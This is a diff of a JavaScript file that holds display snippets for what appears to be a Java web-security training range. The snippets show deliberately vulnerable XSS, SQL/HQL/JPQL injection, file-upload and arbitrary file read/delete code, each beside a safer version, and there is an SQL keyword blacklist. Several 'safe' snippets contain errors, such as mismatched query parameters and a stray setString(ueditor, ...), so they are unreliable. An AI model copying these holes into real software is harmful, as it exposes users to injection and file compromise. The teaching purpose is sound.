sysConstant.getUploadFolder();\n" + + "// 5. Eval执行XSS\n" + + "form.on('submit(eval-xss)', function(data) {\n" + + " var payload = data.field.evalPayload;\n" + + " eval(payload); // 漏洞点:直接执行用户输入的JavaScript代码\n" + + " return false;\n" + + "});\n" + "\n" + + "// 6. Document对象XSS\n" + + "form.on('submit(document-write)', function(data) {\n" + + " var payload = data.field.documentPayload;\n" + + " document.write(payload); // 漏洞点:直接写入用户输入的HTML\n" + + " document.close();\n" + + " return false;\n" + + "});\n" + + "form.on('submit(document-domain)', function(data) {\n" + + " var payload = data.field.documentPayload;\n" + + " document.domain = payload; // 漏洞点:直接修改document.domain\n" + + " return false;\n" + + "});" + +const vul1OtherUpload = "public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {\n" + + " String uploadFolderPath = sysConstant.getUploadFolder();\n" + " try {\n" + - "\n" + " String fileName = +DateUtil.current() + \".\"+suffix;\n" + " String newFilePath = uploadFolderPath + \"/\" + fileName;\n" + "\n" + @@ -212,15 +228,13 @@ const vul1OtherUpload = "@RequestMapping(\"/vul1Upload\")\n" + " log.info(\"文件上传失败\" + e.getMessage());\n" + " return \"文件上传失败\" + e.getMessage();\n" + " }\n" + - "}\n" + "}" -const vul2OtherTemplate = "@GetMapping(\"/vul2OtherTemplate\")\n" + - "public String handleTemplateInjection(@RequestParam(\"content\") String content,\n" + - " @RequestParam(\"type\") String type, Model model) {\n" + +const vul2OtherTemplate = "public String handleTemplateInjection(String payload,String type, Model model) {\n" + " if (\"html\".equals(type)) {\n" + - " model.addAttribute(\"html\", content);\n" + + " model.addAttribute(\"html\", payload);\n" + " } else if (\"text\".equals(type)) {\n" + - " model.addAttribute(\"text\", content);\n" + + " model.addAttribute(\"text\", payload);\n" + " }\n" + " return \"vul/xss/other\";\n" + "}\n" + @@ -228,7 +242,7 @@ const vul2OtherTemplate = "@GetMapping(\"/vul2OtherTemplate\")\n" + "
\n" + "

\n" + "

\n" + - "
\n" + "" const vul3SCMSec = "// jQuery依赖\n" + "\n" + " \n" + @@ -247,8 +261,24 @@ const vul3SCMSec = "// jQuery依赖\n" + "\n" + "// Ueditor编辑器未做任何限制 抓上传数据包后,可以上传任意类型文件"; +const vulHtml5 = "1、WebSocket XSS\n" + + "// 接收端:直接使用innerHTML插入消息\n" + + "window.addEventListener('message', function(event) {\n" + + " // 故意不验证origin\n" + + " document.getElementById('messageContainer').innerHTML = event.data;\n" + + "});\n" + + "// 客户端:直接使用innerHTML插入消息\n" + + "ws.onmessage = function(event) {\n" + + " document.getElementById('wsMessageContainer').innerHTML = event.data;\n" + + "};\n" + + "2、PostMessage XSS\n" + + "// 服务端:直接广播用户输入\n" + + "protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception {\n" + + " broadcast(message.getPayload());\n" + + "}" + const vul1RawJoint = "// 原生sql语句动态拼接 参数未进行任何处理\n" + - "public R vul1RawJoint(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"id\", value = \"用户ID\") @RequestParam(required = false) String id,@ApiParam(name = \"username\", value = \"用户名\") @RequestParam(required = false) String username,@ApiParam(name = \"password\", value = \"密码\") @RequestParam(required = false) String password) {\n" + + "public R vul1(String type,String id,String username,String password) {\n" + " //注册数据库驱动类\n" + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + "\n" + @@ -259,9 +289,11 @@ const vul1RawJoint = "// 原生sql语句动态拼接 参数未进行任何处理 " Statement stmt = conn.createStatement();\n" + " switch (type) {\n" + " case \"add\":\n" + - " sql = \"INSERT INTO users (user, pass) VALUES ('\" + username + \"', '\" + password + \"')\"; //这里没有标识id id自增长\n" + + " //这里没有标识id id自增长\n" + + " sql = \"INSERT INTO sqli (username, password) VALUES ('\" + username + \"', '\" + password + \"')\";\n" + " //通过Statement对象执行SQL语句,得到ResultSet对象-查询结果集\n" + - " rowsAffected = stmt.executeUpdate(sql); // 这里注意一下 insert、update、delete 语句应使用executeUpdate()\n" + + " // 这里注意一下 insert、update、delete 语句应使用executeUpdate()\n" + + " rowsAffected = stmt.executeUpdate(sql);\n" + " //关闭ResultSet结果集 Statement对象 以及数据库Connection对象 释放资源\n" + " stmt.close();\n" + " conn.close();\n" + @@ -271,7 +303,7 @@ const vul1RawJoint = "// 原生sql语句动态拼接 参数未进行任何处理 " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + " case \"update\":\n" + - " sql = \"UPDATE users SET pass = '\" + password + \"', user = '\" + username + \"' WHERE id = '\" + id + \"'\";\n" + + " sql = \"UPDATE sqli SET password = '\" + password + \"', username = '\" + username + \"' WHERE id = '\" + id + \"'\";\n" + " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + " case \"select\":\n" + @@ -281,14 +313,14 @@ const vul1RawJoint = "// 原生sql语句动态拼接 参数未进行任何处理 " }\n" + "}" -const vul2prepareStatementJoint = "// 虽然使用了 conn.prepareStatement(sql) 创建了一个 PreparedStatement 对象,但在执行 stmt.executeUpdate(sql) 时,却是传递了完整的 SQL 语句作为参数,而不是使用了预编译的功能\n" + - "public R vul2prepareStatementJoint(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"id\", value = \"用户ID\") @RequestParam(required = false) String id,@ApiParam(name = \"username\", value = \"用户名\") @RequestParam(required = false) String username,@ApiParam(name = \"password\", value = \"密码\") @RequestParam(required = false) String password) {\n" + +const vul2prepareStatementJoint = "// 虽然使用了conn.prepareStatement(sql)创建了一个PreparedStatement对象,但在执行 stmt.executeUpdate(sql)时,却是传递了完整的SQL语句作为参数,而不是使用了预编译的功能\n" + + "public R vul2(String type,String id,String username,String password) {\n" + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + " PreparedStatement stmt;\n" + " switch (type) {\n" + " case \"add\":\n" + - " sql = \"INSERT INTO users (user, pass) VALUES ('\" + username + \"', '\" + password + \"')\";\n" + + " sql = \"INSERT INTO sqli (username, password) VALUES ('\" + username + \"', '\" + password + \"')\";\n" + " stmt = conn.prepareStatement(sql);\n" + " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + @@ -298,7 +330,7 @@ const vul2prepareStatementJoint = "// 虽然使用了 conn.prepareStatement(sql) " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + " case \"update\":\n" + - " sql = \"UPDATE users set pass = '\" + password + \"' where id = '\" + id + \"'\";\n" + + " sql = \"UPDATE sqli SET username = '\" + username + \"', password = '\" + password + \"' WHERE id = '\" + id + \"'\";\n" + " stmt = conn.prepareStatement(sql);\n" + " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + @@ -310,7 +342,7 @@ const vul2prepareStatementJoint = "// 虽然使用了 conn.prepareStatement(sql) " }\n" + "}" const vul3JdbcTemplateJoint = "// JDBCTemplate是Spring对JDBC的封装,底层实现实际上还是JDBC\n" + - "public R vul3JdbcTemplateJoint(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"id\", value = \"用户ID\") @RequestParam(required = false) String id,@ApiParam(name = \"username\", value = \"用户名\") @RequestParam(required = false) String username,@ApiParam(name = \"password\", value = \"密码\") @RequestParam(required = false) String password) {\n" + + "public R vul3(String type,String id,String username,String password) {\n" + " DriverManagerDataSource dataSource = new DriverManagerDataSource();\n" + " dataSource.setDriverClassName(\"com.mysql.cj.jdbc.Driver\");\n" + " dataSource.setUrl(dbUrl);\n" + @@ -319,15 +351,16 @@ const vul3JdbcTemplateJoint = "// JDBCTemplate是Spring对JDBC的封装,底层 " JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);\n" + " switch (type) {\n" + " case \"add\":\n" + - " sql = \"INSERT INTO users (user, pass) VALUES ('\" + username + \"', '\" + password + \"')\";\n" + - " rowsAffected = jdbctemplate.update(sql); //Spring的JdbcTemplate会自动管理连接的获取和释放,不需要手动关闭连接\n" + + " sql = \"INSERT INTO sqli (username, password) VALUES ('\" + username + \"', '\" + password + \"')\";\n" + + " //Spring的JdbcTemplate会自动管理连接的获取和释放,不需要手动关闭连接\n" + + " rowsAffected = jdbctemplate.update(sql);\n" + " ...\n" + " case \"delete\":\n" + " sql = \"DELETE FROM users WHERE id = '\" + id + \"'\";\n" + " rowsAffected = jdbctemplate.update(sql);\n" + " ...\n" + " case \"update\":\n" + - " sql = \"UPDATE users set pass = '\" + password + \"' where id = '\" + id + \"'\";\n" + + " sql = \"UPDATE sqli SET username = '\" + username + \"', password = '\" + password + \"' WHERE id = '\" + id + \"'\";\n" + " rowsAffected = jdbctemplate.update(sql);\n" + " ...\n" + " case \"select\":\n" + @@ -337,18 +370,20 @@ const vul3JdbcTemplateJoint = "// JDBCTemplate是Spring对JDBC的封装,底层 " }\n" + "}" const safe1PrepareStatementParametric = "// 采用预编译的方法,使用?占位,也叫参数化的SQL\n" + - "public R safe1PrepareStatementParametric(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"id\", value = \"用户ID\") @RequestParam(required = false) String id,@ApiParam(name = \"username\", value = \"用户名\") @RequestParam(required = false) String username,@ApiParam(name = \"password\", value = \"密码\") @RequestParam(required = false) String password) {\n" + + "public R safe1(String type,String id,String username,String password) {\n" + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + " PreparedStatement stmt;\n" + " switch (type) {\n" + " case \"add\":\n" + - " sql = \"INSERT INTO users (user, pass) VALUES (?, ?)\"; // 这里可以看到使用了?占位符 sql语句和参数进行分离\n" + + " // 这里可以看到使用了?占位符 sql语句和参数进行分离\n" + + " sql = \"INSERT INTO users (username, password) VALUES (?, ?)\"; \n" + " stmt = conn.prepareStatement(sql);\n" + - " stmt.setString(ueditor, username); // 参数化处理\n" + + " // 参数化处理\n" + + " stmt.setString(ueditor, username); \n" + " stmt.setString(2, password);\n" + - " rowsAffected = stmt.executeUpdate(); // 使用预编译时 不需要传递sql语句\n" + - "\n" + + " // 使用预编译时 不需要传递sql语句\n" + + " rowsAffected = stmt.executeUpdate();\n" + " case \"delete\":\n" + " sql = \"DELETE FROM users WHERE id = ?\";\n" + " stmt = conn.prepareStatement(sql);\n" + @@ -356,11 +391,12 @@ const safe1PrepareStatementParametric = "// 采用预编译的方法,使用? " rowsAffected = stmt.executeUpdate();\n" + " ...\n" + " case \"update\":\n" + - " sql = \"UPDATE users set pass = ? where id = ?\";\n" + + " sql = \"UPDATE sqli SET username = ?, password = ? WHERE id = ?\";\n" + " stmt = conn.prepareStatement(sql);\n" + - " stmt.setString(ueditor, password);\n" + - " stmt.setString(2, id);\n" + - " rowsAffected = stmt.executeUpdate();\n" + + " stmt.setString(1, username); \n" + + " stmt.setString(2, password);\n" + + " stmt.setString(3, id);\n" + + " stmt.executeUpdate();\n" + " ...\n" + " case \"select\":\n" + " sql = \"SELECT * FROM users WHERE id = ?\";\n" + @@ -371,7 +407,7 @@ const safe1PrepareStatementParametric = "// 采用预编译的方法,使用? " }\n" + "}" const safe2JdbcTemplatePrepareStatementParametric = "// JDBCTemplate预编译 此时在常规DML场景有效的防止了SQL注入攻击的发生\n" + - "public R safe2JdbcTemplatePrepareStatementParametric(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"id\", value = \"用户ID\") @RequestParam(required = false) String id,@ApiParam(name = \"username\", value = \"用户名\") @RequestParam(required = false) String username,@ApiParam(name = \"password\", value = \"密码\") @RequestParam(required = false) String password) {\n" + + "public R safe2(String type,String id,String username,String password) {\n" + " DriverManagerDataSource dataSource = new DriverManagerDataSource();\n" + " dataSource.setDriverClassName(\"com.mysql.cj.jdbc.Driver\");\n" + " dataSource.setUrl(dbUrl);\n" + @@ -380,7 +416,7 @@ const safe2JdbcTemplatePrepareStatementParametric = "// JDBCTemplate预编译 " JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);\n" + " switch (type) {\n" + " case \"add\":\n" + - " sql = \"INSERT INTO users (user, pass) VALUES (?,?)\";\n" + + " sql = \"INSERT INTO sqli (username, password) VALUES (?,?)\";\n" + " rowsAffected = jdbctemplate.update(sql, username, password);\n" + " ...\n" + " case \"delete\":\n" + @@ -388,7 +424,7 @@ const safe2JdbcTemplatePrepareStatementParametric = "// JDBCTemplate预编译 " rowsAffected = jdbctemplate.update(sql, id);\n" + " ...\n" + " case \"update\":\n" + - " sql = \"UPDATE users set pass = ? where id = ?\";\n" + + " sql = \"UPDATE sqli SET username = ?, password = ? WHERE id = ?\";\n" + " rowsAffected = jdbctemplate.update(sql, username, id);\n" + " ...\n" + " case \"select\":\n" + @@ -396,10 +432,9 @@ const safe2JdbcTemplatePrepareStatementParametric = "// JDBCTemplate预编译 " stringObjectMap = jdbctemplate.queryForMap(sql, id);\n" + " ...\n" + " }\n" + - "}" + "}\n" const safe3BlacklistcheckSqlBlackList = "// 检测用户输入是否存在敏感字符:'、;、--、+、,、%、=、>、<、*、(、)、and、or、exeinsert、select、delete、update、count、drop、chr、midmaster、truncate、char、declare\n" + - "public R safe3BlacklistcheckSqlBlackList(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,\n" + - " @ApiParam(name = \"id\", value = \"用户ID\") @RequestParam(required = false) String id,@ApiParam(name = \"username\", value = \"用户名\") @RequestParam(required = false) String username,@ApiParam(name = \"password\", value = \"密码\") @RequestParam(required = false) String password) {\n" + + "public R safe3(String type,String id,String username,String password) {\n" + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + " Statement stmt = conn.createStatement();\n" + @@ -408,7 +443,7 @@ const safe3BlacklistcheckSqlBlackList = "// 检测用户输入是否存在敏感 " if (checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(password)) {\n" + " return R.error(\"黑名单检测到非法SQL注入!\");\n" + " } else {\n" + - " sql = \"INSERT INTO users (user, pass) VALUES ('\" + username + \"', '\" + password + \"')\";\n" + + " sql = \"INSERT INTO users (username, password) VALUES ('\" + username + \"', '\" + password + \"')\";\n" + " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + " case \"delete\":\n" + @@ -419,11 +454,10 @@ const safe3BlacklistcheckSqlBlackList = "// 检测用户输入是否存在敏感 " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + " case \"update\":\n" + - " if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(id)) {\n" + + " if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(password)) {\n" + " return R.error(\"黑名单检测到非法SQL注入!\");\n" + " } else {\n" + - " sql = \"UPDATE users SET pass = '\" + password + \"', user = '\" + username + \"' WHERE id = '\" + id + \"'\";\n" + - " log.info(\"当前执行数据更新操作:\" + sql);\n" + + " sql = \"UPDATE users SET password = '\" + password + \"', username = '\" + username + \"' WHERE id = '\" + id + \"'\";\n" + " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + " case \"select\":\n" + @@ -434,21 +468,20 @@ const safe3BlacklistcheckSqlBlackList = "// 检测用户输入是否存在敏感 " ResultSet rs = stmt.executeQuery(sql);\n" + " ...\n" + " }\n" + - "}" + "}\n" const safe4RequestRarameterValidate = "// 强制类型转换 对用户请求参数进行校验\n" + - "public R safe4RequestRarameterValidate(@ApiParam(name = \"id\", value = \"用户ID\") @RequestParam(required = false) Integer id) {\n" + + "public R safe4(Integer id) {\n" + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + " Statement stmt = conn.createStatement();\n" + " message = checkUserInput.checkUser(id);\n" + " if (!message.isEmpty()) return R.error(message);\n" + " sql = \"SELECT * FROM users WHERE id = \" + id;\n" + - " log.info(\"当前执行数据查询操作:\" + sql);\n" + " ResultSet rs = stmt.executeQuery(sql);\n" + " ...\n" + "}" const safe4EASAPIFilter = "// ESAPI提供了多种输入验证API,提供对XSS攻击和SQL注入攻击等的防护\n" + - "public R safe4EASAPIFilter(@ApiParam(name = \"id\", value = \"用户ID\") @RequestParam(required = false) String id) {\n" + + "public R safe4(String id) {\n" + " Codec oracleCodec = new OracleCodec();\n" + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + @@ -456,14 +489,12 @@ const safe4EASAPIFilter = "// ESAPI提供了多种输入验证API,提供对XSS " Statement stmt = conn.createStatement();\n" + " // 使用了 Oracle 的编解码器 OracleCodec 和 ESAPI 库来对 ID 进行编码,以防止 SQL 注入攻击。\n" + " String sql = \"select * from sqli where id = '\" + ESAPI.encoder().encodeForSQL(oracleCodec, id) + \"'\";\n" + - "\t// String sql = \"select * from sqli where id = '\" + id + \"'\";\n" + + " // String sql = \"select * from sqli where id = '\" + id + \"'\";\n" + " String sql = \"select * from users where id = '\" + id + \"'\";\n" + - " log.info(\"当前执行数据查询操作:\" + sql);\n" + " ResultSet rs = stmt.executeQuery(sql);\n" + - " \n" + "}" const special1OrderBy = "// ORDER BY关键字用于按升序或降序对结果集进行排序。 由于order by后面需要紧跟column_name,而预编译是参数化字符串,而order by后面紧跟字符串就会不支持原有功能 使用默认排序,因此通常防御order by注入需要使用白名单的方式\n" + - "public R special1OrderBy(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"field\", value = \"字段名\") @RequestParam(required = false) String field) {\n" + + "public R special1OrderBy(String type,String field) {\n" + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + " PreparedStatement preparedStatement;\n" + @@ -485,7 +516,6 @@ const special1OrderBy = "// ORDER BY关键字用于按升序或降序对结果 " if (checkUserInput.chechSqlWhiteList(field)) {\n" + " return R.error(\"field字段不合法!\");\n" + " }\n" + - " log.info(\"当前执行数据排序操作:\" + sql + \" 参数:\" + field);\n" + " preparedStatement = conn.prepareStatement(sql);\n" + " rs = preparedStatement.executeQuery();\n" + " }\n" + @@ -496,15 +526,13 @@ const special1OrderBy = "// ORDER BY关键字用于按升序或降序对结果 "public boolean checkSqlWhiteList(String content) {\n" + " String[] white_list = {\"id\", \"username\", \"password\"};\n" + " for (String s : white_list) {\n" + - " if (content.toLowerCase().contains(s)) {\n" + + " if (content.toLowerCase().equals(s)) {\n" + " return true;\n" + " }\n" + " }\n" + " return false;\n" + "}" -const special2Like = "@GetMapping(\"/special2-Like\")\n" + - "public R special2Like(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"keyword\", value = \"关键词\") @RequestParam(required = false) String keyword\n" + - ") {\n" + +const special2Like = "public R special2Like(String type,String keyword) {\n" + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + " ...\n" + @@ -522,24 +550,22 @@ const special2Like = "@GetMapping(\"/special2-Like\")\n" + " ...\n" + " }\n" + "}" -const special3Limit = "@GetMapping(\"/special3-Limit\")\n" + - "public R special3Limit(@ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"size\", value = \"数量\") @RequestParam(required = false) String size\n" + - ") {\n" + - " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + - " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + - " ...\n" + - " switch (type) {\n" + - " case \"raw\":\n" + - " sql = \"SELECT * FROM sqli ORDER BY id DESC LIMIT \" + size;\n" + - " log.info(\"当前执行数据查询操作:\" + sql);\n" + - " rs = stmt.executeQuery(sql);\n" + - " ...\n" + - " case \"prepareStatement\": // 使用预编译\n" + - " sql = \"SELECT * FROM sqli ORDER BY id DESC LIMIT ?\";\n" + - " preparedStatement = conn.prepareStatement(sql);\n" + - " preparedStatement.setString(1, size);\n" + - " rs = preparedStatement.executeQuery();\n" + - " ...\n" + +const special3Limit = "public R special3Limit(String type,String size) {\n" + + " Class.forName(\"com.mysql.cj.jdbc.Driver\");\n" + + " Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);\n" + + " ...\n" + + " switch (type) {\n" + + " case \"raw\":\n" + + " sql = \"SELECT * FROM sqli ORDER BY id DESC LIMIT \" + size;\n" + + " rs = stmt.executeQuery(sql);\n" + + " ...\n" + + " // 使用预编译\n" + + " case \"prepareStatement\":\n" + + " sql = \"SELECT * FROM sqli ORDER BY id DESC LIMIT ?\";\n" + + " preparedStatement = conn.prepareStatement(sql);\n" + + " preparedStatement.setString(1, size);\n" + + " rs = preparedStatement.executeQuery();\n" + + " ...\n" + " }\n" + "}" @@ -547,7 +573,7 @@ const special3Limit = "@GetMapping(\"/special3-Limit\")\n" + const vul1CustomMethod = "vul1CustomMethod" const safe1NativeMethod = "// 这里以增加功能为例\n" + "// Controller层\n" + - "public R safe1NativeMethod(\n" + + "public R safe1(\n" + "switch (type) {\n" + " case \"add\":\n" + " rowsAffected = sqliService.nativeInsert(new Sqli(id, username, password));\n" + @@ -566,6 +592,7 @@ const safe1NativeMethod = "// 这里以增加功能为例\n" + const safe2CustomMethod = "// 这里以增加功能为例\n" + "// Controller层\n" + + "public R safe2( \n" + "switch (type) {\n" + " case \"add\":\n" + " //这里插入数据使用MyBatiX插件生成的方法\n" + @@ -584,7 +611,7 @@ const safe2CustomMethod = "// 这里以增加功能为例\n" + "// Mapper层\n" + "\n" + " insert into sqli (id,username,password) values (#{id,jdbcType=INTEGER},#{username,jdbcType=VARCHAR},#{password,jdbcType=VARCHAR})\n" + - "\n" + "" const mybatisSpecial1OrderBy = "// Controller层\n" + @@ -646,14 +673,10 @@ const mybatisSpecial1OrderBy = " \n" + "" -const mybatisSpecial2Like = - "// Controller层\n" + - "@PostMapping(\"/special2-Like\")\n" + +const mybatisSpecial2Like = "// Controller层\n" + "public R special1OrderBy() {\n" + "@PostMapping(\"/special2-Like\")\n" + - "public R special2Like(\n" + - " @ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"keyword\", value = \"关键词\") @RequestParam(required = false) String keyword\n" + - ") {\n" + + "public R special2Like(String type,String keyword) {\n" + " List sqlis = new ArrayList<>();\n" + " switch (type) {\n" + " case \"raw\":\n" + @@ -681,11 +704,8 @@ const mybatisSpecial2Like = " SELECT * FROM sqli WHERE username LIKE CONCAT('%', #{keyword}, '%')\n" + "" -const mybatisSpecial3In = - "// Controller层\n" + - "@PostMapping(\"/special3-In\")\n" + - "public R special3In(\n" + - " @ApiParam(name = \"type\", value = \"操作类型\", required = true) @RequestParam String type,@ApiParam(name = \"scope\", value = \"关键词\") @RequestParam(required = false) String scope) {\n" + +const mybatisSpecial3In = "// Controller层\n" + + "public R special3In(String type,String scope) {\n" + " switch (type) {\n" + " case \"raw\":\n" + " sqlis = sqliService.inVul(scope);\n" + @@ -728,17 +748,24 @@ const mybatisSpecial3In = const vulHibernate = "vulHibernate" +const safeHibernate = "safeHibernate" + +const vulJPA = "vulJPA" +const safeJPA = "safeJPA" + + // 任意文件类-文件上传 -const anyFileUploadCode = "// 原生漏洞环境,未做任何限制\n" + - "@RequestMapping(\"/anyFIleUpload\")\n" + - "public R vul1AnyFIleUpload(@RequestParam(\"file\") MultipartFile file, HttpServletRequest request) {\n" + +const anyFileUploadCode = "// 原生漏洞场景,未做任何限制\n" + + "public R vul(MultipartFile file, HttpServletRequest request) {\n" + " String res;\n" + - " String suffix = FilenameUtils.getExtension(file.getOriginalFilename()); // 查找文件名中最后一个点(.)之后的字符串\n" + + " String suffix = FilenameUtils.getExtension(\n" + + " // 查找文件名中最后一个点(.)之后的字符串\n" + + " file.getOriginalFilename()); \n" + " String path = request.getScheme() + \"://\" + request.getServerName() + \":\" + request.getServerPort() + \"/file/\";\n" + " res = uploadUtil.uploadFile(file, suffix, path);\n" + " return R.ok(res);\n" + "}\n" + - "// uploadFile方法详见文件上传导致XSS模块" + "// uploadFile方法详见文件上传导致XSS模块\n" const anyFileUploadWhiteCode = "// 检测文件后缀,做白名单过滤\n" + "if (!checkUserInput.checkFileSuffixWhiteList(suffix)){\n" + " return R.error(\"只能上传图片哦!\");\n" + @@ -754,10 +781,91 @@ const anyFileUploadWhiteCode = "// 检测文件后缀,做白名单过滤\n" + " return false;\n" + "}" +const vul1Native = "public R vul1(@RequestParam String username) {\n" + + " try {\n" + + " String sql = \"SELECT * FROM sqli WHERE username = '\" + username + \"'\";\n" + + " Object[] result = (Object[]) hibernateTemplate.execute(session ->\n" + + " session.createNativeQuery(sql).uniqueResult()\n" + + " );\n" + + " message = \"查询成功,用户名:\" + result[1] + \" 密码:\" +result[2];\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " log.error(\"查询失败\", e);\n" + + " return R.error(e.getMessage());\n" + + " }\n" + + "}" +const vul2Hql = "public R vul2(@RequestParam String username) {\n" + + " try {\n" + + " String hql = \"FROM Sqli WHERE username = '\" + username + \"'\";\n" + + " Sqli result = (Sqli) hibernateTemplate.execute(session ->\n" + + " session.createQuery(hql).uniqueResult()\n" + + " );\n" + + " message = \"查询成功,用户名:\" +result.getUsername()+ \" 密码:\" +result.getPassword();\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " log.error(\"查询失败\", e);\n" + + " return R.error(e.getMessage());\n" + + " }\n" + + "}" +const safe1Param = "public R safe(@RequestParam String username) {\n" + + " try {\n" + + " String hql = \"FROM Sqli WHERE username = :username\";\n" + + " Sqli result = hibernateTemplate.execute(session ->\n" + + " (Sqli) session.createQuery(hql)\n" + + " .setParameter(\"username\", username)\n" + + " .uniqueResult()\n" + + " );\n" + + " message = \"查询成功,用户名:\" +result.getUsername()+ \" 密码:\" +result.getPassword();\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " log.error(\"查询失败\", e);\n" + + " return R.error(e.getMessage());\n" + + " }\n" + + "}" + +const vul1JpaJpql = "public R vul1(@RequestParam String username) {\n" + + " try {\n" + + " String jpql = \"SELECT s FROM Sqli s WHERE s.username = '\" + username + \"'\";\n" + + " Query query = entityManager.createQuery(jpql);\n" + + " List results = query.getResultList();\n" + + " if (results == null || results.isEmpty()) {\n" + + " return R.error(\"未找到记录\");\n" + + " }\n" + + " StringBuilder sb = new StringBuilder();\n" + + " sb.append(\"查询成功,找到 \").append(results.size()).append(\" 条记录\\n\");\n" + + " message = sb.toString();\n" + + " log.info(message);\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " String errorMsg = e.getMessage();\n" + + " log.error(\"查询失败: {}\", errorMsg, e);\n" + + " return R.error(errorMsg);\n" + + " }\n" + + "}" +const vul2JpaSort = "vul2JpaSort" +const safeJpaParam = "public R safe(@RequestParam String username) {\n" + + " try {\n" + + " String jpql = \"SELECT s FROM Sqli s WHERE s.username = :username\";\n" + + " Query query = entityManager.createQuery(jpql)\n" + + " .setParameter(\"username\", username);\n" + + " List results = query.getResultList();\n" + + " if (results == null || results.isEmpty()) {\n" + + " return R.error(\"未找到记录\");\n" + + " }\n" + + " StringBuilder sb = new StringBuilder();\n" + + " sb.append(\"查询成功,找到 \").append(results.size()).append(\" 条记录\\n\");\n" + + " message = sb.toString();\n" + + " log.info(message);\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " String errorMsg = e.getMessage();\n" + + " log.error(\"查询失败: {}\", errorMsg, e);\n" + + " return R.error(errorMsg);\n" + + " }\n" + + "}" + // 任意文件类型-文件删除 -const deleteFile = "@ApiOperation(value = \"漏洞环境:任意文件删除\", notes = \"原生漏洞环境,未做任何限制\")\n" + - "@RequestMapping(\"/deleteFile\")\n" + - "public String vulArbitraryFileDeletion(@RequestParam(\"filePath\") String filePath) {\n" + +const deleteFile = "public String vul(String filePath) {\n" + " String currentPath = System.getProperty(\"user.dir\");\n" + " File file = new File(filePath);\n" + " boolean deleted = false;\n" + @@ -770,10 +878,9 @@ const deleteFile = "@ApiOperation(value = \"漏洞环境:任意文件删除\", " return \"当前路径:\"+currentPath+\"
文件删除失败或文件不存在: \" + filePath;\n" + " }\n" + "}" -const safeDeleteFile = "@ApiOperation(value = \"安全环境:限制文件删除\", notes = \"仅允许删除特定目录中的文件\")\n" + - "@RequestMapping(\"/safeDeleteFile\")\n" + - "public String safeFileDelete(@RequestParam(\"fileName\") String fileName) {\n" + - " String baseDir = sysConstant.getUploadFolder(); // 限制删除文件所在目录为 /static/upload/下\n" + +const safeDeleteFile = "public String safe(String fileName) {\n" + + " // 限制删除文件所在目录为 /static/upload/下\n" + + " String baseDir = sysConstant.getUploadFolder(); \n" + " File file = new File(baseDir, fileName);\n" + " boolean deleted = false;\n" + " if (file.exists() && file.getCanonicalPath().startsWith(new File(baseDir).getCanonicalPath())) {\n" + @@ -787,9 +894,7 @@ const safeDeleteFile = "@ApiOperation(value = \"安全环境:限制文件删 "}" // 任意文件类型-文件读取 -const readFile = "@RequestMapping(\"/readFile\")\n" + - "@ResponseBody\n" + - "public String readFile(@RequestParam(\"fileName\") String fileName) throws IOException {\n" + +const readFile = "public String vul(String fileName) throws IOException {\n" + " String currentPath = System.getProperty(\"user.dir\");\n" + " log.info(currentPath);\n" + " File file = new File(fileName);\n" + @@ -804,12 +909,9 @@ const readFile = "@RequestMapping(\"/readFile\")\n" + " } else {\n" + " return \"当前路径:\"+currentPath+\"
